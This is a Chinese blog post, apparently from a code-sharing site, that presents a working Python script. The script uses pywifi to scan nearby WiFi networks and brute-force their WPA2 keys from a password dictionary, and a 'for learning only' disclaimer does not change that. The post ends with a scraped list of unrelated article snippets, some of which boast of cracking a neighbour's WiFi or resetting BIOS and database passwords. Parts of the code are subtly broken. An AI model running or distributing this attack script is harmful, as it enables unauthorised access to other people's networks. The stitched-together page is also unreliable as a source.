最近看到网上的一些作品,然后进行一些完善。只是用于学习,不要去干坏事哦。程序来源于网,我只是做了一些优化。当然这种方法破解还是有点慢哦。我用的python 3.6.5

既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。

有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。

本地安装方法:

1)下载解压好以后,我们用cmd命令行,进入到你的文件目录

2)使用命令pip install . 注意了(install后面有个点)

3)然后就会安装了,等一会就可以了。

程序先查找附近的WIFI,然后按信号强度进行排序,然后只取前wificount=5个信号好的。

import pywifi

from pywifi import const #引用一些定义

import time

namelist = []

ssidlist = []

result = [] #存放查询到的WIFI,密码

wificount=5 #查询附近信号最强的5个WIFI,最多5个

def getwifi():

wifi=pywifi.PyWiFi()#抓取网卡接口

ifaces=wifi.interfaces()[0]#获取网卡

ifaces.scan()

time.sleep(8)

bessis = ifaces.scan_results()

list = []

for data in bessis:

if(data.ssid not in namelist): #去掉重复的WIFI名称

namelist.append(data.ssid)

list.append((data.ssid, data.signal))

sorted(list, key=lambda st: st[1], reverse=True)

time.sleep(1)

n=0

if len(list) is not 0:

for item in list:

if(item[0] not in ssidlist):

n=n+1

if n<=wificount:

ssidlist.append(item[0])

print(ssidlist)

def testwifi(ssidname,password):

wifi=pywifi.PyWiFi()#抓取网卡接口

ifaces=wifi.interfaces()[0]#获取网卡

ifaces.disconnect()#断开无限网卡连接

profile=pywifi.Profile()#创建wifi连接文件

profile.ssid=ssidname#定义wifissid

profile.auth=const.AUTH_ALG_OPEN#网卡的开放

profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法

profile.cipher=const.CIPHER_TYPE_CCMP##加密单元

profile.key=password #wifi密码

ifaces.remove_all_network_profiles()#删除其他所有配置文件

tmp_profile=ifaces.add_network_profile(profile)#加载配置文件

ifaces.connect(tmp_profile)#连接wifi

time.sleep(5)#5秒内能否连接上

if ifaces.status()==const.IFACE_CONNECTED:

return True

else:

#print("[-]WiFi connection failure!")

return False

#ifaces.disconnect()#断开连接

#time.sleep(1)

return True

def main():

getwifi()

#ssidlist = ['Oun'] #如果知道WIFI直接写就行了。

if(len(ssidlist) is not 0):

path=r"password.txt"

files=open(path,'r')

while True:

if(len(ssidlist) is 0):

break

try:

password =files.readline()

password=password.strip(' ')

if not password:

break

for item in result: #把已经找到密码的WIFI从查询中删除。

ssidlist.remove(item[0])

for ssidname in ssidlist:

if(testwifi(ssidname,password)==True):

result.append((ssidname,password)) #把找到的WIFI密码保存起来

print('Succ','Current WifiName:',ssidname,'Current Password:',password)

else:

print('Fail','Current WifiName:',ssidname,'Current Password:',password)

except:

continue

files.close()

print(" ","WIFI结果列表:")

for item in result: #把已经找到密码的WIFI从查询中删除。

print("")

print("无线:",item[0])

print("密码:",item[1])

else:

print("没有找到WIFI信号,请重试。")

if __name__ == '__main__':

main()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对脚本之家的支持。如果你想了解更多相关内容请查看下面相关链接

python破解wifi-Python利用字典破解WIFI密码的方法相关推荐

  1. Python编程对列表中字典元素进行排序的方法详解

    @本文来源于公众号:csdn2299,喜欢可以关注公众号 程序员学府 本文实例讲述了Python编程对列表中字典元素进行排序的方法.分享给大家供大家参考,具体如下: 内容目录: 问题起源 对列表中的字 ...

  2. python requests库api_python利用requests库进行接口测试的方法详解

    前言 之前介绍了接口测试中需要关注得测试点,现在我们来看看如何进行接口测试,现在接口测试工具有很多种,例如:postman,soapui,jemter等等,对于简单接口而言,或者我们只想调试一下,使用 ...

  3. python dict遍历_python遍历字典dict的几种方法汇总

    python遍历字典dict的方法: dic={'a':'how','b':'are','c':'you'}; 方法1, for key in dic: print key,dic[key] 方法2, ...

  4. Python编程中列表、字典、元组的使用方法总结

    一. 列表 1. 列表的一些常用方法 append 在列表尾部增加元素,该方法无返回值 In: a = [1,2,3,4]b = a.append(5) Out: a = [1,2,3,4,5]b = ...

  5. 关于破解server2003和普通PC机开机密码的方法心得

    最近实验室的一台服务器的开机密码被一个同学改了,然后他又忘记了密码,为此装在次服务器上的很多东西都不能用了,现在将我破解它的方法介绍一下. 要用到的工具:WINPE.深山红叶PE工具箱V32正式版(网 ...

  6. cmd命令删除计算机密码,win7系统下如何利用DOS清除CMOS密码的方法

    假如自己忘记了进入CMOS设置程序的密码,除了可以在主板上使用跳线短接清除的方法之外,其实我们还可以使用软件操作方法来清除,下面PConline的小编就来给大家介绍一下如何在DOS下清除 win7纯净 ...

  7. 破解 MySQL5.7 数据库的 root 登录密码

    本文档详细介绍破解 MySQL5.7 数据库的 root 登录密码 忘记 root 登录密码 [root@MySQL1 ~]# mysql -uroot -p1231234 mysql: [Warni ...

  8. 骚操作!昨晚停网,我写了一段Python代码破解了隔壁小姐姐的wifi密码...

    点击上方蓝色小字,关注"小詹学Python" 重磅干货,第一时间送达 本文来源于小黄鸭编程社区 昨晚,家里停网了,对于码农而言,停网了,这能忍?打电话给修网络的,说太晚了,要第二天 ...

  9. 昨晚停网后,我写了一段Python代码破解了隔壁小姐姐的wifi密码,结果亮了!

    昨晚,家里停网了,对于码农而言,停网了,这能忍?打电话给修网络的,说太晚了,要第二天才能过来... 突然发现隔壁妹纸的wifi信号满格哇,这让我动了邪念,看有没有办法蹭下网,首先,用的是万能钥匙,没有 ...

  10. 昨晚停网后,我写了一段Python代码破解了隔壁小姐姐的wifi密码

    昨晚,家里停网了,对于码农而言,停网了,这能忍?打电话给修网络的,说太晚了,要第二天才能过来... 很多人学习python,不知道从何学起. 很多人学习python,掌握了基本语法过后,不知道在哪里寻 ...

最新文章

  1. pcb外观维修_电路板常用维修技巧,送给从事维修工作的兄弟姐妹们
  2. 和我一起学《HTTP权威指南》——安全HTTP与HTTPS
  3. windows系统下如何把excel数据转换成markdown格式的表格
  4. 解决iex -S mix报错
  5. 月头月尾oracle取数,Oracle分析函数Over()的使用
  6. ZooKeeper 的工作流程
  7. 替换 Nginx 使用 Caddy 作为博客静态服务器
  8. 【填坑中】学生信息管理系统
  9. php日志缓存,php – Symfony和Docker – 缓存和日志目录权...
  10. MySQL抽稀_Android GPS定位轨迹抽稀之道格拉斯-普克(Douglas-Peuker)算法详解
  11. 小甲鱼【C语言】《带你学C带你飞》笔记
  12. 计算机毕业设计(附源码)python-志愿者管理系统
  13. 陶哲轩实分析 习题5.5.2
  14. matlab 质心,Matlab中三点确定质心
  15. 京东手机评论分析(二):关键词提取
  16. “番茄工作法” 工欲善其事必先利其器
  17. python菜单怎么做_Python 城市菜单详解(超详解)
  18. spark ML算法之线性回归使用
  19. 无线便携式脑电-smarting pro
  20. 流氓软件清理大师|Windows流氓软件清理大师官方免费版下载 v6.5

热门文章

  1. 历届二级c语言pdf,历年全国计算机二级C语言题库.pdf
  2. Python深度学习路线
  3. python从入门到精通——完整教程
  4. Matlab7.0安装教程
  5. Python中虚拟环境与网络IP地址、端口、socket套接字【详细】
  6. 小米蓝牙音箱驱动_新品频发,小米 Air2 SE真无线蓝牙耳机即将开售
  7. JDK下载以及配置教程
  8. 2012.3.27《JAVA程序设计教程》
  9. poi mysql 导出 excel乱码,本地tomcat正常,但liunx poi excel下载却内容乱码问题的解决方法-学派吧...
  10. hmtl--textarea的滚动条(转)